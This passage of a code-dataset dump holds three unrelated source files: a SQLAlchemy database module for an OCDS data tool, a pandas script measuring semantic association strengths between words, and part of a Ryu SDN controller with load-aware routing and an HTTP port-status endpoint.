sa.Table('package_data', self.metadata,\n                                           sa.Column('id', sa.Integer, primary_key=True),\n                                           sa.Column('hash_md5', sa.Text, nullable=False, unique=True),\n                                           sa.Column('data', JSONB, nullable=False),\n                                           )\n\n        self.release_table = sa.Table('release', self.metadata,\n                                      sa.Column('id', sa.Integer, primary_key=True),\n                                      sa.Column('collection_file_item_id', sa.Integer,\n                                                sa.ForeignKey(\"collection_file_item.id\"), nullable=False),\n                                      sa.Column('release_id', sa.Text, nullable=True),\n                                      sa.Column('ocid', sa.Text, nullable=True),\n                                      sa.Column('data_id', sa.Integer, sa.ForeignKey(\"data.id\"), nullable=False),\n                                      sa.Column('package_data_id', sa.Integer, sa.ForeignKey(\"package_data.id\"),\n                                                nullable=False),\n                                      )\n\n        self.record_table = sa.Table('record', self.metadata,\n                                     sa.Column('id', sa.Integer, primary_key=True),\n                                     sa.Column('collection_file_item_id', sa.Integer,\n                                               sa.ForeignKey(\"collection_file_item.id\"), nullable=False),\n                                     sa.Column('ocid', sa.Text, nullable=True),\n                                     sa.Column('data_id', sa.Integer, sa.ForeignKey(\"data.id\"), nullable=False),\n                                     sa.Column('package_data_id', sa.Integer, sa.ForeignKey(\"package_data.id\"),\n                                               nullable=False),\n                                     )\n\n        self.release_check_table = sa.Table('release_check', self.metadata,\n                                            sa.Column('id', sa.Integer, primary_key=True),\n                                            sa.Column('release_id', sa.Integer, sa.ForeignKey(\"release.id\"), index=True,\n                                                      unique=False, nullable=False),\n                                            sa.Column('override_schema_version', sa.Text, nullable=True),\n                                            sa.Column('cove_output', JSONB, nullable=False),\n                                            sa.UniqueConstraint('release_id', 'override_schema_version',\n                                                                name='ix_release_check_release_id_and_more')\n                                            )\n\n        self.record_check_table = sa.Table('record_check', self.metadata,\n                                           sa.Column('id', sa.Integer, primary_key=True),\n                                           sa.Column('record_id', sa.Integer, sa.ForeignKey(\"record.id\"), index=True,\n                                                     unique=False,\n                                                     nullable=False),\n                                           sa.Column('override_schema_version', sa.Text, nullable=True),\n                                           sa.Column('cove_output', JSONB, nullable=False),\n                                           sa.UniqueConstraint('record_id', 'override_schema_version',\n                                                               name='ix_record_check_record_id_and_more')\n                                           )\n\n        self.release_check_error_table = sa.Table('release_check_error', self.metadata,\n                                                  sa.Column('id', sa.Integer, primary_key=True),\n                                                  sa.Column('release_id', sa.Integer, sa.ForeignKey(\"release.id\"),\n                                                            index=True,\n                                                            unique=False, nullable=False),\n                                                  sa.Column('override_schema_version', sa.Text, nullable=True),\n                                                  sa.Column('error', sa.Text, nullable=False),\n                                                  sa.UniqueConstraint('release_id', 'override_schema_version',\n                                                                      name='ix_release_check_error_release_id_and_more')\n                                                  )\n\n        self.record_check_error_table = sa.Table('record_check_error', self.metadata,\n                                                 sa.Column('id', sa.Integer, primary_key=True),\n                                                 sa.Column('record_id', sa.Integer, sa.ForeignKey(\"record.id\"),\n                                                           index=True,\n                                                           unique=False, nullable=False),\n                                                 sa.Column('override_schema_version', sa.Text, nullable=True),\n                                                 sa.Column('error', sa.Text, nullable=False),\n                                                 sa.UniqueConstraint('record_id', 'override_schema_version',\n                                                                     name='ix_record_check_error_record_id_and_more')\n                                                 )\n\n    def get_engine(self):\n        # We only create a connection if actually needed; sometimes people do operations that don't need a database\n        # and in that case no need to connect.\n        # But this side of kingfisher now always requires a DB, so there should not be a problem opening a connection!\n        if not self._engine:\n            self._engine = sa.create_engine(self.config.database_uri, json_serializer=SetEncoder().encode)\n        return self._engine\n\n    def delete_tables(self):\n        engine = self.get_engine()\n        engine.execute(\"drop table if exists record_check cascade\")\n        engine.execute(\"drop table if exists record_check_error cascade\")\n        engine.execute(\"drop table if exists release_check cascade\")\n        engine.execute(\"drop table if exists release_check_error cascade\")\n        engine.execute(\"drop table if exists record cascade\")\n        engine.execute(\"drop table if exists release cascade\")\n        engine.execute(\"drop table if exists package_data cascade\")\n        engine.execute(\"drop table if exists data cascade\")\n        engine.execute(\"drop table if exists collection_file_item\")\n        engine.execute(\"drop table if exists collection_file_status cascade\")  # This is the old table name\n        engine.execute(\"drop table if exists collection_file cascade\")\n        engine.execute(\"drop table if exists source_session_file_status cascade\")  # This is the old table name\n        engine.execute(\"drop table if exists collection cascade\")\n        engine.execute(\"drop table if exists source_session cascade\")  # This is the old table name\n        engine.execute(\"drop table if exists alembic_version cascade\")\n\n    def create_tables(self):\n        # Note this DOES NOT work with self.config!\n        # It works with a brand new config instance that is created in ocdskingfisher/maindatabase/migrations/env.py\n        # Not sure how to solve that\n        alembicargs = [\n            '--config', os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'mainalembic.ini')),\n            '--raiseerr',\n            'upgrade', 'head',\n        ]\n        alembic.config.main(argv=alembicargs)\n\n    def get_or_create_collection_id(self, source_id, data_version, sample):\n\n        with self.get_engine().begin() as connection:\n            s = sa.sql.select([self.collection_table]) \\\n                .where((self.collection_table.c.source_id == source_id) &\n                       (self.collection_table.c.data_version == data_version) &\n                       (self.collection_table.c.sample == sample))\n            result = connection.execute(s)\n            collection = result.fetchone()\n            if collection:\n                return collection['id']\n\n            value = connection.execute(self.collection_table.insert(), {\n                'source_id': source_id,\n                'data_version': data_version,\n                'sample': sample,\n                'store_start_at': datetime.datetime.utcnow(),\n            })\n            return value.inserted_primary_key[0]\n\n    def get_all_collections(self):\n        out = []\n        with self.get_engine().begin() as connection:\n            s = sa.sql.select([self.collection_table])\n            for result in connection.execute(s):\n                out.append(CollectionModel(\n                    database_id=result['id'],\n                    source_id=result['source_id'],\n                    data_version=result['data_version'],\n                    sample=result['sample'],\n                ))\n        return out\n\n    def get_collection(self, collection_id):\n        with self.get_engine().begin() as connection:\n            s = sa.sql.select([self.collection_table]) \\\n                .where(self.collection_table.c.id == collection_id)\n            result = connection.execute(s)\n            collection = result.fetchone()\n            if collection:\n                return CollectionModel(\n                    database_id=collection['id'],\n                    source_id=collection['source_id'],\n                    data_version=collection['data_version'],\n                    sample=collection['sample'],\n                )\n\n    def get_all_files_in_collection(self, collection_id):\n        out = []\n        with self.get_engine().begin() as connection:\n            s = sa.sql.select([self.collection_file_table]) \\\n                .where(self.collection_file_table.c.collection_id == collection_id)\n            for result in connection.execute(s):\n                out.append(FileModel(\n                    database_id=result['id'],\n                    filename=result['filename'],\n                ))\n        return out\n\n    def is_release_check_done(self, release_id, override_schema_version=None):\n        with self.get_engine().begin() as connection:\n            s = sa.sql.select([self.release_check_table]) \\\n                .where((self.release_check_table.c.release_id == release_id) &\n                       (self.release_check_table.c.override_schema_version == override_schema_version))\n            result = connection.execute(s)\n            if result.fetchone():\n                return True\n\n            s = sa.sql.select([self.release_check_error_table]) \\\n                .where((self.release_check_error_table.c.release_id == release_id) &\n                       (self.release_check_error_table.c.override_schema_version == override_schema_version))\n            result = connection.execute(s)\n            if result.fetchone():\n                return True\n\n        return False\n\n    def is_record_check_done(self, record_id, override_schema_version=None):\n        with self.get_engine().begin() as connection:\n            s = sa.sql.select([self.record_check_table]) \\\n                .where((self.record_check_table.c.record_id == record_id) &\n                       (self.record_check_table.c.override_schema_version == override_schema_version))\n            result = connection.execute(s)\n            if result.fetchone():\n                return True\n\n            s = sa.sql.select([self.record_check_error_table]) \\\n                .where((self.record_check_error_table.c.record_id == record_id) &\n                       (self.record_check_error_table.c.override_schema_version == override_schema_version))\n            result = connection.execute(s)\n            if result.fetchone():\n                return True\n\n        return False\n\n    def mark_collection_file_store_done(self, collection_id, filename):\n        with self.get_engine().begin() as connection:\n            connection.execute(\n                self.collection_file_table.update()\n                    .where((self.collection_file_table.c.collection_id == collection_id) &\n                           (self.collection_file_table.c.filename == filename))\n                    .values(store_end_at=datetime.datetime.utcnow())\n            )\n\n\nclass DatabaseStore:\n\n    def __init__(self, database, collection_id, file_name, number):\n        self.database = database\n        self.collection_id = collection_id\n        self.file_name = file_name\n        self.number = number\n        self.connection = None\n        self.transaction = None\n        self.collection_file_id = None\n        self.collection_file_item_id = None\n\n    def __enter__(self):\n        self.connection = self.database.get_engine().connect()\n        self.transaction = self.connection.begin()\n\n        # Collection File!\n        s = sa.sql.select([self.database.collection_file_table]) \\\n            .where((self.database.collection_file_table.c.collection_id == self.collection_id) &\n                   (self.database.collection_file_table.c.filename == self.file_name))\n        result = self.connection.execute(s)\n\n        collection_file_table_row = result.fetchone()\n\n        if collection_file_table_row:\n            self.collection_file_id = collection_file_table_row['id']\n        else:\n            value = self.connection.execute(self.database.collection_file_table.insert(), {\n                'collection_id': self.collection_id,\n                'filename': self.file_name,\n                'store_start_at': datetime.datetime.utcnow(),\n                # TODO store warning?\n            })\n            # TODO look for unique key clashes, error appropriately!\n            self.collection_file_id = value.inserted_primary_key[0]\n\n        # Collection File Item!\n\n        value = self.connection.execute(self.database.collection_file_item_table.insert(), {\n            'collection_file_id': self.collection_file_id,\n            'number': self.number,\n            'store_start_at': datetime.datetime.utcnow(),\n        })\n        # TODO look for unique key clashes, error appropriately!\n        self.collection_file_item_id = value.inserted_primary_key[0]\n\n        return self\n\n    def __exit__(self, type, value, traceback):\n\n        if type:\n\n            self.transaction.rollback()\n\n            self.connection.close()\n\n        else:\n\n            self.connection.execute(\n                self.database.collection_file_item_table.update()\n                .where(self.database.collection_file_item_table.c.id == self.collection_file_item_id)\n                .values(store_end_at=datetime.datetime.utcnow())\n            )\n\n            self.transaction.commit()\n\n            self.connection.close()\n\n    def insert_record(self, row, package_data):\n        ocid = row.get('ocid')\n        package_data_id = self.get_id_for_package_data(package_data)\n        data_id = self.get_id_for_data(row)\n        self.connection.execute(self.database.record_table.insert(), {\n            'collection_file_item_id': self.collection_file_item_id,\n            'ocid': ocid,\n            'data_id': data_id,\n            'package_data_id': package_data_id,\n        })\n\n    def insert_release(self, row, package_data):\n        ocid = row.get('ocid')\n        release_id = row.get('id')\n        package_data_id = self.get_id_for_package_data(package_data)\n        data_id = self.get_id_for_data(row)\n        self.connection.execute(self.database.release_table.insert(), {\n            'collection_file_item_id': self.collection_file_item_id,\n            'release_id': release_id,\n            'ocid': ocid,\n            'data_id': data_id,\n            'package_data_id': package_data_id,\n        })\n\n    def get_id_for_package_data(self, package_data):\n\n        hash_md5 = get_hash_md5_for_data(package_data)\n\n        s = sa.sql.select([self.database.package_data_table]).where(self.database.package_data_table.c.hash_md5 == hash_md5)\n        result = self.connection.execute(s)\n        existing_table_row = result.fetchone()\n        if existing_table_row:\n            return existing_table_row.id\n        else:\n            return self.connection.execute(self.database.package_data_table.insert(), {\n                'hash_md5': hash_md5,\n                'data': package_data,\n            }).inserted_primary_key[0]\n\n    def get_id_for_data(self, data):\n\n        hash_md5 = get_hash_md5_for_data(data)\n\n        s = sa.sql.select([self.database.data_table]).where(self.database.data_table.c.hash_md5 == hash_md5)\n        result = self.connection.execute(s)\n        existing_table_row = result.fetchone()\n        if existing_table_row:\n            return existing_table_row.id\n        else:\n            return self.connection.execute(self.database.data_table.insert(), {\n                'hash_md5': hash_md5,\n                'data': data,\n            }).inserted_primary_key[0]\n","repo_name":"odscjames/rhs-alpha","sub_path":"ocdskingfisher/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":20927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32178534745","text":"import pandas as pd\nimport numpy as np\nfrom tqdm import tqdm\n\nassociation_df = pd.read_csv('../CSVNorms/cleansedStrength.csv', sep='\\t')\n\nprint(association_df.head())\n\nmaterials_df = pd.read_csv('../Data/materials.csv', index_col=0)\n\ncue_available = 0\ncue_not_available = 0\nstrength_li = []\n\ncurrent_max = 0.0\n\nfor listID_N in tqdm(sorted(list(set(materials_df['listID'])))):\n    # Target six words in a list of listID_N\n    current_df = materials_df.query('listID == @listID_N')\n    for w1 in list(current_df['word']):\n        if w1 in list(association_df['cue']):\n            cue_available += 1\n            for w2 in list(current_df['word']):\n                # Exclude cases in which a cue word == a response word\n                if not w1 == w2:\n                    strength_df = association_df.query('cue  == @w1 & response == @w2')\n                    if not strength_df.empty:\n                        strength_val = float(strength_df['R123.Strength'])\n                        strength_li.append(strength_val)\n                        # Record max strength val, which will be updated\n                        if strength_val > current_max:\n                            print('Strength = {} for cue: {} -> response: {}'.format(strength_val,w1,w2))\n                            current_max = strength_val\n                    # If a cue doen not cue a response word, associative strength is 0\n                    else:\n                        strength_li.append(0)\n        # If w1 is not in norms as a cue, strength value is not retrieved\n        else:\n            cue_not_available += 1\n\nprint('Mean value: {}'.format(np.mean(strength_li)))\nprint('Max value: {}'.format(max(strength_li)))\nprint('0 count: {} / {}'.format(sum([i == 0 for i in strength_li]), len(strength_li)))\nprint('cue_available: {}'.format(cue_available))\nprint('cue_not_available: {}'.format(cue_not_available))\nprint('Norms coverage: {}%'.format(100 * cue_available / (cue_available + cue_not_available)))\n\n\"\"\"\nMean value: 5.436827154021706e-05\nMax value: 0.0204778156996587\n0 count: 2442 / 2460\ncue_available: 492\ncue_not_available: 108\nNorms coverage: 82.0%\n\"\"\"\n","repo_name":"grocio/semsim-stm-exp","sub_path":"Misc/semantic_association_check.py","file_name":"semantic_association_check.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29497826095","text":"from unicodedata import east_asian_width\nfrom xmlrpc.client import Boolean\nfrom ryu.base import app_manager\nfrom ryu.controller import ofp_event\nfrom ryu.controller.handler import CONFIG_DISPATCHER, DEAD_DISPATCHER\nfrom ryu.controller.handler import MAIN_DISPATCHER, HANDSHAKE_DISPATCHER\nfrom ryu.controller.handler import set_ev_cls\nfrom ryu.ofproto import ofproto_v1_3\nfrom ryu.ofproto import ether\nfrom ryu.lib.packet import packet, packet_base, ethernet, arp, ipv4, ipv6, tcp, udp, icmp\nfrom ryu.ofproto.ofproto_v1_3_parser import OFPMatch\nfrom ryu import utils\nimport yaml\n\nfrom ryu.lib import hub\nfrom typing import Callable, Dict, Optional, Any, List, Set, Tuple, final\nfrom enum import Enum\n\nfrom ryu.topology import event\nfrom ryu.topology.api import get_all_host, get_all_link, get_all_switch, get_host, get_switch, get_link\nimport copy\nfrom ryu.topology.switches import Port, Switch, Host, Link\nfrom ryu.controller.controller import Datapath\n\nimport requests\nfrom flask import Flask, request, jsonify, Response\nfrom waitress import serve\n\nimport time\nfrom dataclasses import dataclass, field\n\nimport random\nfrom random import randint\n\nimport struct\nimport dill\n\nrandom.seed()\n\nUINT64_MAX = 18446744073709551616\nFLOW_COST = None\nIDLE_TIMEOUT = 10\n\nGET_BANDWIDTH = None\n\n\ndef init_bandwidths(cfg: Dict[str, Any]) -> Tuple[int, Callable[[int, int], int]]:\n    bw = cfg['bandwidth']/2\n    _FLOW_COST = cfg['flow-bw']\n\n    def _GET_BANDWIDTH(src: int, dst: int) -> int:\n        return bw\n\n    return _FLOW_COST,  _GET_BANDWIDTH\n\n\nwith open(\"/home/mininet/project/data/cfg/topo.yaml\", \"r\") as f:\n    try:\n        cfg: Dict[str, Any] = yaml.safe_load(f)\n        FLOW_COST, GET_BANDWIDTH = init_bandwidths(cfg)\n\n    except yaml.YAMLError as exc:\n        print(exc)\n        raise exc\n\n\nclass RWMutex:\n    _mu: hub.BoundedSemaphore\n    _sem: hub.BoundedSemaphore\n    _max_readers: int\n\n    def __init__(self, max_readers=1024) -> None:\n        self._mu = hub.BoundedSemaphore(1)\n        self._sem = hub.BoundedSemaphore(max_readers)\n        self._max_readers = max_readers\n\n    def r_lock(self):\n        self._sem.acquire()\n\n    def r_unlock(self):\n        self._sem.release()\n\n    def w_lock(self):\n        try:\n            self._mu.acquire()\n            for _ in range(self._max_readers):\n                self._sem.acquire()\n        finally:\n            self._mu.release()\n\n    def w_unlock(self):\n        for _ in range(self._max_readers):\n            self._sem.release()\n\n\nclass PortStates(int, Enum):\n    NEW = 0\n    IN_PROGRESS = 1\n    TRANSMITTED = 2\n    DEAD = 3\n\n\n@dataclass\nclass SimplePort:\n    dpid: int\n    port_no: int\n    mac: str\n    load: int = 0\n    max_load: int = 0\n    state: PortStates = PortStates.NEW\n\n\n@dataclass\nclass SimpleHost:\n    mac: str\n    ipv4: str\n    port: SimplePort\n\n\n@dataclass\nclass Node:\n    datapath: Optional[Datapath]\n    neighbours: Dict[int, 'Node'] = field(default_factory=dict)  # port to node\n    ports: Dict[int, SimplePort] = field(default_factory=dict)\n\n    def __getstate__(self):\n        return (self.neighbours, self.ports)\n\n    def __setstate__(self, state):\n        self.neighbours, self.ports = state\n\n\nclass ArpDispatcher:\n    # arp request destination to (time of last request; set of sources for such request)\n    requests: Dict[str, Tuple[time.time, Set[str]]]\n    known_ips: Dict[str, str]\n    delay: float\n\n    def __init__(self, delay) -> None:\n        self.delay = delay\n        self.requests = {}\n        self.known_ips = {}\n\n        self._mu = hub.BoundedSemaphore()\n\n    def handle_arp_request(self, src_mac: str, dst_ip: str) -> Tuple[str, bool]:\n        try:\n            self._mu.acquire()\n            if dst_ip in self.known_ips:\n                return self.known_ips[dst_ip], None\n\n            if self.requests.get(dst_ip) is None:\n                self.requests[dst_ip] = (\n                    time.time(), set([src_mac]))\n                return None, True\n\n            last_request = self.requests[dst_ip][0]\n            self.requests[dst_ip][1].add(src_mac)\n            self.requests[dst_ip] = (\n                time.time(),  self.requests[dst_ip][1])\n\n            return None, self.requests[dst_ip][0]-last_request > self.delay\n        finally:\n            self._mu.release()\n\n    def handle_arp_reply(self, ip: str, mac: str) -> List[str]:\n        try:\n            self._mu.acquire()\n            if ip in self.known_ips:\n                print(f\"duplicate arp reply for one ip {ip}\")\n                if self.known_ips[ip] != mac:\n                    print(\n                        f\"different mac for same ip in arp reply: know {self.known_ips[ip]}, adding {mac}\")\n            if ip not in self.requests:\n                print(f\"no one waiting for arp reply for ip {ip}\")\n                return\n\n            self.known_ips[ip] = mac\n            return self.requests[ip][1]\n        finally:\n            self._mu.release()\n\n\nLATENCY_PROBE = 0x07c3\n\n\nclass LatencyProbePacket(packet_base.PacketBase):\n    _PACK_STR = '!Q'\n    _MIN_LEN = struct.calcsize(_PACK_STR)\n    _TYPE = {\n        'ascii': [\n            'timestamp'\n        ]\n    }\n\n    timestamp: int\n\n    def __init__(self, timestamp: int):\n        if not 0 < timestamp <= UINT64_MAX:\n            raise Exception(\"timestamp must take 32 bits\")\n        super().__init__()\n        self.timestamp = timestamp\n\n    @ classmethod\n    def parser(cls, buf):\n        timestamp = struct.unpack_from(cls._PACK_STR, buf)[0]\n        return cls(timestamp), None, buf[cls._MIN_LEN:]\n\n    def serialize(self, payload, prev):\n        return struct.pack(self._PACK_STR, self.timestamp)\n\n\npacket_base.PacketBase.register_packet_type(LatencyProbePacket, LATENCY_PROBE)\n\n\nclass NetGraph:\n    _node_graph: Dict[int, Node]\n    _hosts: Dict[str, SimpleHost]\n    _broadcast_targets: Set[Tuple[Datapath, int]]  # datapath and port_no\n    _mutex: RWMutex\n\n    def __init__(self, logger) -> None:\n        self.logger = logger\n\n        self._node_graph = {}  # datapath.id to Node\n        self._hosts = {}  # mac to host\n        self._broadcast_targets = set()\n        self._mutex = RWMutex()\n\n    def _update_broadcast_targets(self):\n        targets = set()\n        for node in self._node_graph.values():\n            non_switch_ports = node.ports.keys()-node.neighbours.keys()\n            for port in non_switch_ports:\n                targets.add((node.datapath, port))\n        self._broadcast_targets = targets\n\n    def update_switches(self, switches: List[Switch], links: List[Link]):\n        try:\n            self._mutex.w_lock()\n            self._update_nodes(switches)\n            self._update_links(links)\n            self._update_broadcast_targets()\n        finally:\n            self._mutex.w_unlock()\n\n        print(\" \\t\" + \"Saved Links:\")\n        for dpid, s in self._node_graph.items():\n            for port, l in s.neighbours.items():\n                print(\" \\t\\t dpid: {}, port: {} dpid: {}\".format(\n                    dpid, port, l.datapath.id))\n            print()\n\n    def _update_links(self, links: List[Link]):\n        for l in links:\n            self._node_graph[l.src.dpid].neighbours[l.src.port_no] = self._node_graph[l.dst.dpid]\n            self._node_graph[l.src.dpid].ports[l.src.port_no].max_load = GET_BANDWIDTH(\n                l.src.dpid, l.dst.dpid)\n\n    def _update_nodes(self, switches: List[Switch]):\n        for sw in switches:\n            node = Node(datapath=sw.dp,\n                        neighbours={}, ports={port.port_no: SimplePort(port.dpid, port.port_no, port.hw_addr) for port in sw.ports})\n\n            # keep existing port informatin (load, state, etc)\n            existing = self._node_graph.get(sw.dp.id)\n            if existing is not None:\n                for port_no, port in existing.ports.items():\n                    if port.mac != node.ports[port_no].mac:\n                        raise Exception(\"port number change\")\n                    node.ports[port_no] = port\n            self._node_graph[sw.dp.id] = node\n\n    def host_learning(self, src_mac, ipv4, dpid, in_port):\n        if self._hosts.get(src_mac) is None:\n            try:\n                self._mutex.w_lock()\n                node = self._node_graph.get(dpid)\n                if node is None:\n                    self.logger.info(f\"no node known for dpid {dpid}\")\n                    return\n\n                self.logger.info(f\"adding host {src_mac}\")\n                port = node.ports.get(in_port)\n                if port is None:\n                    self.logger.info(f\"no port known for port {in_port}\")\n                    return\n                h = SimpleHost(src_mac, ipv4,\n                               port)\n                self._hosts[src_mac] = h\n            finally:\n                self._mutex.w_unlock()\n\n    def get_host(self, mac: str) -> SimpleHost:\n        return self._hosts.get(mac)\n\n    def get_node(self, dpid: int) -> Node:\n        return self._node_graph.get(dpid)\n\n    def get_route(self, src_mac: int, dst_mac: int) -> List[SimplePort]:\n        try:\n            self._mutex.r_lock()\n\n            # get connected switches\n            src_host = self._hosts.get(src_mac)\n            dst_host = self._hosts.get(dst_mac)\n            if src_host is None or dst_host is None:\n                return None\n            src_dpid = src_host.port.dpid\n            dst_dpid = dst_host.port.dpid\n\n            route: List[SimplePort] = self.deikstra(src_dpid, dst_dpid)\n            if len(route) == 0:\n                # TODO : what if hosts are on same switch?\n                return None\n            # add path from last switch to dst host\n            route.insert(0, dst_host.port)\n\n            return route\n        finally:\n            self._mutex.r_unlock()\n\n    def deikstra(self, src_dpid: int, dst_dpid: int) -> List[SimplePort]:\n        distances: Dict[int, int] = {\n            node: UINT64_MAX for node in self._node_graph.keys()}\n        visited: Set[int] = set()\n        prevs: Dict[int, SimplePort] = {}\n\n        distances[src_dpid] = 0\n\n        for _ in distances:\n            cur = min({node: d for node, d in distances.items() if node not in visited},\n                      key=distances.get)\n            visited.add(cur)\n            for port_no, node in self._node_graph[cur].neighbours.items():\n                # don't use dead links\n                if self._node_graph[cur].ports[port_no].state == PortStates.DEAD:\n                    continue\n                # don't use already full routes\n                if distances[cur] + self._node_graph[cur].ports[port_no].load + FLOW_COST > self._node_graph[cur].ports[port_no].max_load:\n                    continue\n\n                if distances[cur] + self._node_graph[cur].ports[port_no].load < distances[node.datapath.id]:\n                    distances[node.datapath.id] = distances[cur] + \\\n                        self._node_graph[cur].ports[port_no].load\n                    prevs[node.datapath.id] = self._node_graph[cur].ports[port_no]\n\n        path = []\n        cur = dst_dpid\n        while prevs.get(cur) is not None:\n            path.append(prevs[cur])\n            cur = prevs[cur].dpid\n\n        return path\n\n    def adjust_cost(self, route: List[SimplePort], diff):\n        try:\n            self._mutex.w_lock()\n            for port in route:\n                self._node_graph[port.dpid].ports[port.port_no].load += diff\n        finally:\n            self._mutex.w_unlock()\n\n    def call_on_all_nodes(self, cb: Callable[[Node], None]) -> None:\n        for node in self._node_graph.values():\n            cb(node)\n\n    def call_on_all_broadcast_targets(self, cb: Callable[[Datapath, int], None]) -> None:\n        for datapath, port_no in self._broadcast_targets:\n            cb(datapath, port_no)\n\n    def snapshot(self, path: str):\n        with open(path, 'wb') as f:\n            try:\n                self._mutex.r_lock()\n                dill.dump(self._node_graph, f)\n            finally:\n                self._mutex.r_unlock()\n\n    def on_probe_receive(self, dpid: int, in_port: int, src_port_mac):\n        node = self._node_graph[dpid]\n        if node is None:\n            self.logger.info(f\"no node found for dpid {dpid}\")\n            return\n\n        src_node = node.neighbours.get(in_port)\n        if src_node is None:\n            self.logger.info(f\"no neighbour found for port {in_port}\")\n            return\n\n        for p in src_node.ports.values():\n            if p.mac == src_port_mac:\n                p.state = PortStates.TRANSMITTED\n                return\n\n        self.logger.info(f\"no src port found with mac {src_port_mac}\")\n\n\n@dataclass(frozen=True)\nclass SimpleMatch:\n    eth_src: Any\n    eth_dst: Any\n    tcp_src: int\n    tcp_dst: int\n    udp_src: int\n    udp_dst: int\n    eth_type: int\n    kind: str\n\n\ndef OFPMatch_from_SimpleMatch(match: SimpleMatch) -> OFPMatch:\n    if match.kind == \"tcp\":\n        res = OFPMatch(eth_src=match.eth_src,\n                       eth_dst=match.eth_dst,\n                       tcp_src=match.tcp_src,\n                       tcp_dst=match.tcp_dst,\n                       eth_type=match.eth_type,\n                       ip_proto=6)\n    elif match.kind == 'udp':\n        res = OFPMatch(eth_src=match.eth_src,\n                       eth_dst=match.eth_dst,\n                       udp_src=match.udp_src,\n                       udp_dst=match.udp_dst,\n                       eth_type=match.eth_type,\n                       ip_proto=17)\n    else:\n        res = OFPMatch(eth_src=match.eth_src,\n                       eth_dst=match.eth_dst,\n                       eth_type=match.eth_type)\n\n    return res\n\n\nestablish_route_func = Callable[[OFPMatch, List[SimplePort], int, int], None]\nsend_query_func = Callable[[Datapath, SimplePort], None]\n\n\nclass EstablishRouteResult(str, Enum):\n    OK = 0\n    NO_ROUTE = 1\n    DP_NOT_IN_ROUTE = 2\n\n\non_port_death_func = Callable[[str], None]\n\n\nclass HTTPEndpoint():\n    _siem_addr: str\n\n    def __init__(self, siem_addr: str, listen_port: str, on_port_death: on_port_death_func):\n        self._siem_addr = siem_addr\n\n        self._app = Flask(__name__)\n\n        @self._app.route('/port', methods=['POST'])\n        def handle_port_death():\n            content = request.get_json()\n            on_port_death(content['mac'])\n            return Response(status=200)\n\n        hub.spawn(self._listen, listen_port)\n\n    def _listen(self, port):\n        #self._app.run(host=\"0.0.0.0\", port=port)\n        serve(self._app, host=\"0.0.0.0\", port=port)\n\n    def port_state(self, mac: str, state: PortStates):\n        payload = {\n            'mac': mac,\n            'state': state\n        }\n        try:\n            r = requests.post(self._siem_addr+\"/port\", json=payload)\n            if r.status_code != 200:\n                print(r.json())\n        except Exception as e:\n            print(e)\n\n\nclass RoutingManager:\n    _routes: Dict[int, Tuple[SimpleMatch, List[SimplePort], Boolean]]\n    _matches: Dict[SimpleMatch, List[SimplePort]]\n    _mu: hub.BoundedSemaphore\n    _net_graph: NetGraph\n    _http_endpoint: HTTPEndpoint\n    # mac to port and list of cookies\n    _ports: Dict[str, Tuple[SimplePort, List[str]]]\n\n    def __init__(self, net_graph):\n        self._mu = hub.BoundedSemaphore()\n        self._routes = {}\n        self._matches = {}\n        self._ports = {}\n        self._net_graph = net_graph\n        self._http_endpoint = HTTPEndpoint(\n            \"http://localhost:7050\", \"7051\", self.on_port_death)\n\n    def _establish_route(self, match: SimpleMatch, establish_route: establish_route_func, neccessary_dpid: int) -> EstablishRouteResult:\n        if match not in self._matches:\n            route = self._net_graph.get_route(match.eth_src, match.eth_dst)\n            if route is None:\n                return EstablishRouteResult.NO_ROUTE\n\n            if neccessary_dpid is not None:\n                for port in route:\n                    if port.dpid == neccessary_dpid:\n                        break\n                else:\n                    return EstablishRouteResult.DP_NOT_IN_ROUTE\n\n            priority = 10 if match.kind == '' else 1\n            cookie = randint(0, UINT64_MAX)\n\n            establish_route(OFPMatch_from_SimpleMatch(\n                match), route, priority, cookie)\n\n            self._adjust_cost(cookie, FLOW_COST)\n\n            self._routes[cookie] = (match, route, False)\n            self._matches[match] = route\n            for port in route[1:]:\n                self._ports.setdefault(port.mac, (port, []))[1].append(cookie)\n\n            t = time.localtime()\n            t = time.strftime(\"%H:%M:%S\", t)\n            print(\n                f\"{t}: established route from {match.eth_src} port {match.tcp_src} to {match.eth_dst} port {match.tcp_dst}\")\n        elif neccessary_dpid is not None:\n            for port in self._matches[match]:\n                if port.dpid == neccessary_dpid:\n                    break\n            else:\n                return EstablishRouteResult.DP_NOT_IN_ROUTE\n\n        return EstablishRouteResult.OK\n\n    def handle_route_request(self, forward_match: SimpleMatch, backward_match: SimpleMatch, establish_route: establish_route_func, neccessary_dpid: int) -> EstablishRouteResult:\n        try:\n            self._mu.acquire()\n            res = self._establish_route(\n                forward_match, establish_route, neccessary_dpid)\n            if res != EstablishRouteResult.OK:\n                return res\n\n            return self._establish_route(backward_match, establish_route, None)\n        finally:\n            self._mu.release()\n\n    def _adjust_cost(self, cookie, value):\n        if cookie not in self._routes.keys():\n            return\n\n        match, route, added = self._routes[cookie]\n        if (not added and value > 0) or (added and value < 0):\n            self._net_graph.adjust_cost(route, value)\n            self._routes = (match, route, True)\n\n    def _delete_route(self, cookie: int):\n        if cookie in self._routes.keys():\n            match, route, _ = self._routes[cookie]\n            self._adjust_cost(cookie, -FLOW_COST)\n            del self._routes[cookie]\n            del self._matches[match]\n            for port in route[1:]:\n                self._ports[port.mac][1].remove(cookie)\n                if len(self._ports[port.mac][1]) == 0:\n                    del self._ports[port.mac]\n\n            t = time.localtime()\n            t = time.strftime(\"%H:%M:%S\", t)\n            print(\n                f\"{t}: deleted route from {match.eth_src} port {match.tcp_src} to {match.eth_dst} port {match.tcp_dst}\")\n\n    def on_port_death(self, mac: str):\n        try:\n            self._mu.acquire()\n            v = self._ports.get(mac)\n            if v is None:\n                return\n\n            port, cookies = v\n            port.state = PortStates.DEAD\n            for cookie in cookies:\n                self._delete_route(cookie)\n\n            print(f'set port {port} state to DEAD')\n        finally:\n            self._mu.release()\n\n    def delete_route(self, cookie: int):\n        try:\n            self._mu.acquire()\n            self._delete_route(cookie)\n        finally:\n            self._mu.release()\n\n    def _check_port_states(self):\n        for mac, v in self._ports.items():\n            #print(f'sending port state: {mac} {v[0].state}')\n            self._http_endpoint.port_state(mac, v[0].state)\n\n    def _query_all_used_ports(self, send_query: send_query_func):\n        for v in 